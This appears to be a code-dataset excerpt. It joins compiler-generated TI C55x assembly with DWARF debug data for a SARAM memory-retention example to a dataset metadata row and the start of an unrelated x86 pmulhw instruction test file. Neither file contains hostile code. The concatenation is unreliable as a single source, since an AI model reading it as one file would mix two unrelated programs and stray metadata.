.dwattr $C$DW$36, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$36, DW_AT_TI_begin_line(0xca)
.dwattr $C$DW$36, DW_AT_TI_end_line(0xd1)
$C$DW$37 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$37, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$14$B)
.dwattr $C$DW$37, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$14$E)
$C$DW$38 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$38, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$16$B)
.dwattr $C$DW$38, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$16$E)
.dwendtag $C$DW$36
$C$DW$39 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$39, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L10:1:1538287744")
.dwattr $C$DW$39, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$39, DW_AT_TI_begin_line(0xc4)
.dwattr $C$DW$39, DW_AT_TI_end_line(0xc7)
$C$DW$40 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$40, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$12$B)
.dwattr $C$DW$40, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$12$E)
.dwendtag $C$DW$39
$C$DW$41 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$41, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L7:1:1538287744")
.dwattr $C$DW$41, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$41, DW_AT_TI_begin_line(0xb4)
.dwattr $C$DW$41, DW_AT_TI_end_line(0xb7)
$C$DW$42 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$42, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$8$B)
.dwattr $C$DW$42, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$8$E)
.dwendtag $C$DW$41
$C$DW$43 .dwtag DW_TAG_TI_loop
.dwattr $C$DW$43, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_saram_retention_example.asm:$C$L4:1:1538287744")
.dwattr $C$DW$43, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$43, DW_AT_TI_begin_line(0xa3)
.dwattr $C$DW$43, DW_AT_TI_end_line(0xa6)
$C$DW$44 .dwtag DW_TAG_TI_loop_range
.dwattr $C$DW$44, DW_AT_low_pc($C$DW$L$_CSL_SARAM_RetentionTest$4$B)
.dwattr $C$DW$44, DW_AT_high_pc($C$DW$L$_CSL_SARAM_RetentionTest$4$E)
.dwendtag $C$DW$43
.dwattr $C$DW$19, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c")
.dwattr $C$DW$19, DW_AT_TI_end_line(0xd9)
.dwattr $C$DW$19, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$19
;*******************************************************************************
;* FAR STRINGS *
;*******************************************************************************
.sect ".const:.string"
.align 2
$C$FSL1: .string "SARAM Memory Retention Mode test!",10,10,0
.align 2
$C$FSL2: .string 10,"SARAM Memory Retention Mode test Passed!!",10,0
.align 2
$C$FSL3: .string 10,"SARAM Memory Retention Mode test Failed!!",10,0
.align 2
$C$FSL4: .string "MEM_init failed",0
.align 2
$C$FSL5: .string "Enabling the Memory Retention Mode",10,0
.align 2
$C$FSL6: .string "Enabling SARAM Memory Retention Mode Failed!",10,0
.align 2
$C$FSL7: .string "Wait for few CPU Cycles....",10,0
.align 2
$C$FSL8: .string "Disabling the Memory Retention Mode",10,0
.align 2
$C$FSL9: .string "Disabling SARAM Memory Retention Mode Failed!",10,0
.align 2
$C$FSL10: .string "SARAM data is not Retained!",10,0
.align 2
$C$FSL11: .string "SARAM Data Buffer verification successful",10,0
.align 2
$C$FSL12: .string "SARAM data is Retained!",10,0
;******************************************************************************
;* UNDEFINED EXTERNAL REFERENCES *
;******************************************************************************
.global _MEM_init
.global _MEM_enableRetentionMode
.global _MEM_disableRetentionMode
.global _printf
;*******************************************************************************
;* TYPE INFORMATION *
;*******************************************************************************
$C$DW$T$19 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$19, DW_AT_byte_size(0x01)
$C$DW$45 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_DARAM"), DW_AT_const_value(0x00)
$C$DW$46 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_SARAM"), DW_AT_const_value(0x01)
$C$DW$47 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_MEM_INVALID"), DW_AT_const_value(0x02)
.dwendtag $C$DW$T$19
$C$DW$T$20 .dwtag DW_TAG_typedef, DW_AT_name("CSL_MemType")
.dwattr $C$DW$T$20, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$T$20, DW_AT_language(DW_LANG_C)
$C$DW$T$4 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean)
.dwattr $C$DW$T$4, DW_AT_name("bool")
.dwattr $C$DW$T$4, DW_AT_byte_size(0x01)
$C$DW$T$5 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$5, DW_AT_name("signed char")
.dwattr $C$DW$T$5, DW_AT_byte_size(0x01)
$C$DW$T$6 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char)
.dwattr $C$DW$T$6, DW_AT_name("unsigned char")
.dwattr $C$DW$T$6, DW_AT_byte_size(0x01)
$C$DW$T$7 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$7, DW_AT_name("wchar_t")
.dwattr $C$DW$T$7, DW_AT_byte_size(0x01)
$C$DW$T$8 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$8, DW_AT_name("short")
.dwattr $C$DW$T$8, DW_AT_byte_size(0x01)
$C$DW$T$22 .dwtag DW_TAG_typedef, DW_AT_name("Int16")
.dwattr $C$DW$T$22, DW_AT_type(*$C$DW$T$8)
.dwattr $C$DW$T$22, DW_AT_language(DW_LANG_C)
$C$DW$T$23 .dwtag DW_TAG_typedef, DW_AT_name("CSL_Status")
.dwattr $C$DW$T$23, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$T$23, DW_AT_language(DW_LANG_C)
$C$DW$48 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$48, DW_AT_type(*$C$DW$T$22)
$C$DW$T$28 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$28, DW_AT_type(*$C$DW$48)
$C$DW$T$9 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$9, DW_AT_name("unsigned short")
.dwattr $C$DW$T$9, DW_AT_byte_size(0x01)
$C$DW$T$29 .dwtag DW_TAG_typedef, DW_AT_name("Uint16")
.dwattr $C$DW$T$29, DW_AT_type(*$C$DW$T$9)
.dwattr $C$DW$T$29, DW_AT_language(DW_LANG_C)
$C$DW$49 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$49, DW_AT_type(*$C$DW$T$29)
$C$DW$T$30 .dwtag DW_TAG_volatile_type
.dwattr $C$DW$T$30, DW_AT_type(*$C$DW$49)
$C$DW$T$31 .dwtag DW_TAG_array_type
.dwattr $C$DW$T$31, DW_AT_type(*$C$DW$T$29)
.dwattr $C$DW$T$31, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$31, DW_AT_byte_size(0x64)
$C$DW$50 .dwtag DW_TAG_subrange_type
.dwattr $C$DW$50, DW_AT_upper_bound(0x63)
.dwendtag $C$DW$T$31
$C$DW$T$10 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$10, DW_AT_name("int")
.dwattr $C$DW$T$10, DW_AT_byte_size(0x01)
$C$DW$T$11 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$11, DW_AT_name("unsigned int")
.dwattr $C$DW$T$11, DW_AT_byte_size(0x01)
$C$DW$T$12 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$12, DW_AT_name("long")
.dwattr $C$DW$T$12, DW_AT_byte_size(0x02)
$C$DW$T$13 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$13, DW_AT_name("unsigned long")
.dwattr $C$DW$T$13, DW_AT_byte_size(0x02)
$C$DW$T$14 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed)
.dwattr $C$DW$T$14, DW_AT_name("long long")
.dwattr $C$DW$T$14, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$14, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$14, DW_AT_bit_offset(0x18)
$C$DW$T$15 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$15, DW_AT_name("unsigned long long")
.dwattr $C$DW$T$15, DW_AT_byte_size(0x04)
.dwattr $C$DW$T$15, DW_AT_bit_size(0x28)
.dwattr $C$DW$T$15, DW_AT_bit_offset(0x18)
$C$DW$T$16 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$16, DW_AT_name("float")
.dwattr $C$DW$T$16, DW_AT_byte_size(0x02)
$C$DW$T$17 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$17, DW_AT_name("double")
.dwattr $C$DW$T$17, DW_AT_byte_size(0x02)
$C$DW$T$18 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float)
.dwattr $C$DW$T$18, DW_AT_name("long double")
.dwattr $C$DW$T$18, DW_AT_byte_size(0x02)
$C$DW$T$33 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$33, DW_AT_encoding(DW_ATE_signed_char)
.dwattr $C$DW$T$33, DW_AT_name("signed char")
.dwattr $C$DW$T$33, DW_AT_byte_size(0x01)
$C$DW$51 .dwtag DW_TAG_TI_far_type
.dwattr $C$DW$51, DW_AT_type(*$C$DW$T$33)
$C$DW$T$34 .dwtag DW_TAG_const_type
.dwattr $C$DW$T$34, DW_AT_type(*$C$DW$51)
$C$DW$T$35 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$35, DW_AT_type(*$C$DW$T$34)
.dwattr $C$DW$T$35, DW_AT_address_class(0x17)
.dwattr $C$DW$CU, DW_AT_language(DW_LANG_C)
;***************************************************************
;* DWARF CIE ENTRIES *
;***************************************************************
$C$DW$CIE .dwcie 91
.dwcfi cfa_register, 36
.dwcfi cfa_offset, 0
.dwcfi undefined, 0
.dwcfi undefined, 1
.dwcfi undefined, 2
.dwcfi undefined, 3
.dwcfi undefined, 4
.dwcfi undefined, 5
.dwcfi undefined, 6
.dwcfi undefined, 7
.dwcfi undefined, 8
.dwcfi undefined, 9
.dwcfi undefined, 10
.dwcfi undefined, 11
.dwcfi undefined, 12
.dwcfi undefined, 13
.dwcfi same_value, 14
.dwcfi same_value, 15
.dwcfi undefined, 16
.dwcfi undefined, 17
.dwcfi undefined, 18
.dwcfi undefined, 19
.dwcfi undefined, 20
.dwcfi undefined, 21
.dwcfi undefined, 22
.dwcfi undefined, 23
.dwcfi undefined, 24
.dwcfi undefined, 25
.dwcfi same_value, 26
.dwcfi same_value, 27
.dwcfi same_value, 28
.dwcfi same_value, 29
.dwcfi same_value, 30
.dwcfi same_value, 31
.dwcfi undefined, 32
.dwcfi undefined, 33
.dwcfi undefined, 34
.dwcfi undefined, 35
.dwcfi undefined, 36
.dwcfi undefined, 37
.dwcfi undefined, 38
.dwcfi undefined, 39
.dwcfi undefined, 40
.dwcfi undefined, 41
.dwcfi undefined, 42
.dwcfi undefined, 43
.dwcfi undefined, 44
.dwcfi undefined, 45
.dwcfi undefined, 46
.dwcfi undefined, 47
.dwcfi undefined, 48
.dwcfi undefined, 49
.dwcfi undefined, 50
.dwcfi undefined, 51
.dwcfi undefined, 52
.dwcfi undefined, 53
.dwcfi undefined, 54
.dwcfi undefined, 55
.dwcfi undefined, 56
.dwcfi undefined, 57
.dwcfi undefined, 58
.dwcfi undefined, 59
.dwcfi undefined, 60
.dwcfi undefined, 61
.dwcfi undefined, 62
.dwcfi undefined, 63
.dwcfi undefined, 64
.dwcfi undefined, 65
.dwcfi undefined, 66
.dwcfi undefined, 67
.dwcfi undefined, 68
.dwcfi undefined, 69
.dwcfi undefined, 70
.dwcfi undefined, 71
.dwcfi undefined, 72
.dwcfi undefined, 73
.dwcfi undefined, 74
.dwcfi undefined, 75
.dwcfi undefined, 76
.dwcfi undefined, 77
.dwcfi undefined, 78
.dwcfi undefined, 79
.dwcfi undefined, 80
.dwcfi undefined, 81
.dwcfi undefined, 82
.dwcfi undefined, 83
.dwcfi undefined, 84
.dwcfi undefined, 85
.dwcfi undefined, 86
.dwcfi undefined, 87
.dwcfi undefined, 88
.dwcfi undefined, 89
.dwcfi undefined, 90
.dwcfi undefined, 91
.dwendentry
;***************************************************************
;* DWARF REGISTER MAP *
;***************************************************************
$C$DW$52 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$52, DW_AT_location[DW_OP_reg0]
$C$DW$53 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0")
.dwattr $C$DW$53, DW_AT_location[DW_OP_reg1]
$C$DW$54 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G")
.dwattr $C$DW$54, DW_AT_location[DW_OP_reg2]
$C$DW$55 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$55, DW_AT_location[DW_OP_reg3]
$C$DW$56 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1")
.dwattr $C$DW$56, DW_AT_location[DW_OP_reg4]
$C$DW$57 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G")
.dwattr $C$DW$57, DW_AT_location[DW_OP_reg5]
$C$DW$58 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$58, DW_AT_location[DW_OP_reg6]
$C$DW$59 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2")
.dwattr $C$DW$59, DW_AT_location[DW_OP_reg7]
$C$DW$60 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G")
.dwattr $C$DW$60, DW_AT_location[DW_OP_reg8]
$C$DW$61 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$61, DW_AT_location[DW_OP_reg9]
$C$DW$62 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3")
.dwattr $C$DW$62, DW_AT_location[DW_OP_reg10]
$C$DW$63 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G")
.dwattr $C$DW$63, DW_AT_location[DW_OP_reg11]
$C$DW$64 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0")
.dwattr $C$DW$64, DW_AT_location[DW_OP_reg12]
$C$DW$65 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1")
.dwattr $C$DW$65, DW_AT_location[DW_OP_reg13]
$C$DW$66 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2")
.dwattr $C$DW$66, DW_AT_location[DW_OP_reg14]
$C$DW$67 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3")
.dwattr $C$DW$67, DW_AT_location[DW_OP_reg15]
$C$DW$68 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0")
.dwattr $C$DW$68, DW_AT_location[DW_OP_reg16]
$C$DW$69 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0")
.dwattr $C$DW$69, DW_AT_location[DW_OP_reg17]
$C$DW$70 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1")
.dwattr $C$DW$70, DW_AT_location[DW_OP_reg18]
$C$DW$71 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1")
.dwattr $C$DW$71, DW_AT_location[DW_OP_reg19]
$C$DW$72 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2")
.dwattr $C$DW$72, DW_AT_location[DW_OP_reg20]
$C$DW$73 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2")
.dwattr $C$DW$73, DW_AT_location[DW_OP_reg21]
$C$DW$74 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3")
.dwattr $C$DW$74, DW_AT_location[DW_OP_reg22]
$C$DW$75 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3")
.dwattr $C$DW$75, DW_AT_location[DW_OP_reg23]
$C$DW$76 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4")
.dwattr $C$DW$76, DW_AT_location[DW_OP_reg24]
$C$DW$77 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4")
.dwattr $C$DW$77, DW_AT_location[DW_OP_reg25]
$C$DW$78 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5")
.dwattr $C$DW$78, DW_AT_location[DW_OP_reg26]
$C$DW$79 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5")
.dwattr $C$DW$79, DW_AT_location[DW_OP_reg27]
$C$DW$80 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6")
.dwattr $C$DW$80, DW_AT_location[DW_OP_reg28]
$C$DW$81 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6")
.dwattr $C$DW$81, DW_AT_location[DW_OP_reg29]
$C$DW$82 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7")
.dwattr $C$DW$82, DW_AT_location[DW_OP_reg30]
$C$DW$83 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7")
.dwattr $C$DW$83, DW_AT_location[DW_OP_reg31]
$C$DW$84 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP")
.dwattr $C$DW$84, DW_AT_location[DW_OP_regx 0x20]
$C$DW$85 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP")
.dwattr $C$DW$85, DW_AT_location[DW_OP_regx 0x21]
$C$DW$86 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC")
.dwattr $C$DW$86, DW_AT_location[DW_OP_regx 0x22]
$C$DW$87 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP")
.dwattr $C$DW$87, DW_AT_location[DW_OP_regx 0x23]
$C$DW$88 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP")
.dwattr $C$DW$88, DW_AT_location[DW_OP_regx 0x24]
$C$DW$89 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC")
.dwattr $C$DW$89, DW_AT_location[DW_OP_regx 0x25]
$C$DW$90 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03")
.dwattr $C$DW$90, DW_AT_location[DW_OP_regx 0x26]
$C$DW$91 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47")
.dwattr $C$DW$91, DW_AT_location[DW_OP_regx 0x27]
$C$DW$92 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0")
.dwattr $C$DW$92, DW_AT_location[DW_OP_regx 0x28]
$C$DW$93 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1")
.dwattr $C$DW$93, DW_AT_location[DW_OP_regx 0x29]
$C$DW$94 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2")
.dwattr $C$DW$94, DW_AT_location[DW_OP_regx 0x2a]
$C$DW$95 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3")
.dwattr $C$DW$95, DW_AT_location[DW_OP_regx 0x2b]
$C$DW$96 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP")
.dwattr $C$DW$96, DW_AT_location[DW_OP_regx 0x2c]
$C$DW$97 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05")
.dwattr $C$DW$97, DW_AT_location[DW_OP_regx 0x2d]
$C$DW$98 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67")
.dwattr $C$DW$98, DW_AT_location[DW_OP_regx 0x2e]
$C$DW$99 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0")
.dwattr $C$DW$99, DW_AT_location[DW_OP_regx 0x2f]
$C$DW$100 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0")
.dwattr $C$DW$100, DW_AT_location[DW_OP_regx 0x30]
$C$DW$101 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H")
.dwattr $C$DW$101, DW_AT_location[DW_OP_regx 0x31]
$C$DW$102 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0")
.dwattr $C$DW$102, DW_AT_location[DW_OP_regx 0x32]
$C$DW$103 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H")
.dwattr $C$DW$103, DW_AT_location[DW_OP_regx 0x33]
$C$DW$104 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1")
.dwattr $C$DW$104, DW_AT_location[DW_OP_regx 0x34]
$C$DW$105 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1")
.dwattr $C$DW$105, DW_AT_location[DW_OP_regx 0x35]
$C$DW$106 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1")
.dwattr $C$DW$106, DW_AT_location[DW_OP_regx 0x36]
$C$DW$107 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H")
.dwattr $C$DW$107, DW_AT_location[DW_OP_regx 0x37]
$C$DW$108 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1")
.dwattr $C$DW$108, DW_AT_location[DW_OP_regx 0x38]
$C$DW$109 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H")
.dwattr $C$DW$109, DW_AT_location[DW_OP_regx 0x39]
$C$DW$110 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR")
.dwattr $C$DW$110, DW_AT_location[DW_OP_regx 0x3a]
$C$DW$111 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC")
.dwattr $C$DW$111, DW_AT_location[DW_OP_regx 0x3b]
$C$DW$112 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP")
.dwattr $C$DW$112, DW_AT_location[DW_OP_regx 0x3c]
$C$DW$113 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP")
.dwattr $C$DW$113, DW_AT_location[DW_OP_regx 0x3d]
$C$DW$114 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0")
.dwattr $C$DW$114, DW_AT_location[DW_OP_regx 0x3e]
$C$DW$115 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1")
.dwattr $C$DW$115, DW_AT_location[DW_OP_regx 0x3f]
$C$DW$116 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01")
.dwattr $C$DW$116, DW_AT_location[DW_OP_regx 0x40]
$C$DW$117 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23")
.dwattr $C$DW$117, DW_AT_location[DW_OP_regx 0x41]
$C$DW$118 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45")
.dwattr $C$DW$118, DW_AT_location[DW_OP_regx 0x42]
$C$DW$119 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67")
.dwattr $C$DW$119, DW_AT_location[DW_OP_regx 0x43]
$C$DW$120 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC")
.dwattr $C$DW$120, DW_AT_location[DW_OP_regx 0x44]
$C$DW$121 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY")
.dwattr $C$DW$121, DW_AT_location[DW_OP_regx 0x45]
$C$DW$122 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1")
.dwattr $C$DW$122, DW_AT_location[DW_OP_regx 0x46]
$C$DW$123 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2")
.dwattr $C$DW$123, DW_AT_location[DW_OP_regx 0x47]
$C$DW$124 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40")
.dwattr $C$DW$124, DW_AT_location[DW_OP_regx 0x48]
$C$DW$125 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD")
.dwattr $C$DW$125, DW_AT_location[DW_OP_regx 0x49]
$C$DW$126 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS")
.dwattr $C$DW$126, DW_AT_location[DW_OP_regx 0x4a]
$C$DW$127 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM")
.dwattr $C$DW$127, DW_AT_location[DW_OP_regx 0x4b]
$C$DW$128 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA")
.dwattr $C$DW$128, DW_AT_location[DW_OP_regx 0x4c]
$C$DW$129 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD")
.dwattr $C$DW$129, DW_AT_location[DW_OP_regx 0x4d]
$C$DW$130 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM")
.dwattr $C$DW$130, DW_AT_location[DW_OP_regx 0x4e]
$C$DW$131 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT")
.dwattr $C$DW$131, DW_AT_location[DW_OP_regx 0x4f]
$C$DW$132 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL")
.dwattr $C$DW$132, DW_AT_location[DW_OP_regx 0x50]
$C$DW$133 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM")
.dwattr $C$DW$133, DW_AT_location[DW_OP_regx 0x51]
$C$DW$134 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC")
.dwattr $C$DW$134, DW_AT_location[DW_OP_regx 0x52]
$C$DW$135 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC")
.dwattr $C$DW$135, DW_AT_location[DW_OP_regx 0x53]
$C$DW$136 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC")
.dwattr $C$DW$136, DW_AT_location[DW_OP_regx 0x54]
$C$DW$137 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC")
.dwattr $C$DW$137, DW_AT_location[DW_OP_regx 0x55]
$C$DW$138 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC")
.dwattr $C$DW$138, DW_AT_location[DW_OP_regx 0x56]
$C$DW$139 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC")
.dwattr $C$DW$139, DW_AT_location[DW_OP_regx 0x57]
$C$DW$140 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC")
.dwattr $C$DW$140, DW_AT_location[DW_OP_regx 0x58]
$C$DW$141 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC")
.dwattr $C$DW$141, DW_AT_location[DW_OP_regx 0x59]
$C$DW$142 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC")
.dwattr $C$DW$142, DW_AT_location[DW_OP_regx 0x5a]
$C$DW$143 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA")
.dwattr $C$DW$143, DW_AT_location[DW_OP_regx 0x5b]
.dwendtag $C$DW$CU
| 49.525391 | 203 | 0.667843 |
0af1b786ba8df9ab44eef7cd07e7e1fa97841dda | 4,830 | asm | Assembly | test/pmulhw.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 147 | 2021-09-01T03:52:49.000Z | 2022-03-30T16:59:58.000Z | test/pmulhw.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 7 | 2021-09-10T07:03:36.000Z | 2022-03-03T23:30:58.000Z | test/pmulhw.asm | killvxk/AssemblyLine | 2a20ec925532875c2f3bb5d423eb38a00bc5c91d | [
"Apache-2.0"
] | 19 | 2021-09-09T10:54:44.000Z | 2022-03-18T19:56:45.000Z | SECTION .text
GLOBAL test
test:
pmulhw xmm0, xmm0
pmulhw xmm0, xmm1
pmulhw xmm0, xmm2
pmulhw xmm0, xmm3
pmulhw xmm0, xmm4
pmulhw xmm0, xmm5
pmulhw xmm0, xmm6
pmulhw xmm0, xmm7
pmulhw xmm0, xmm8
pmulhw xmm0, xmm9
pmulhw xmm0, xmm10
pmulhw xmm0, xmm11
pmulhw xmm0, xmm12
pmulhw xmm0, xmm13
pmulhw xmm0, xmm14
pmulhw xmm0, xmm15
pmulhw xmm1, xmm0
pmulhw xmm1, xmm1
pmulhw xmm1, xmm2
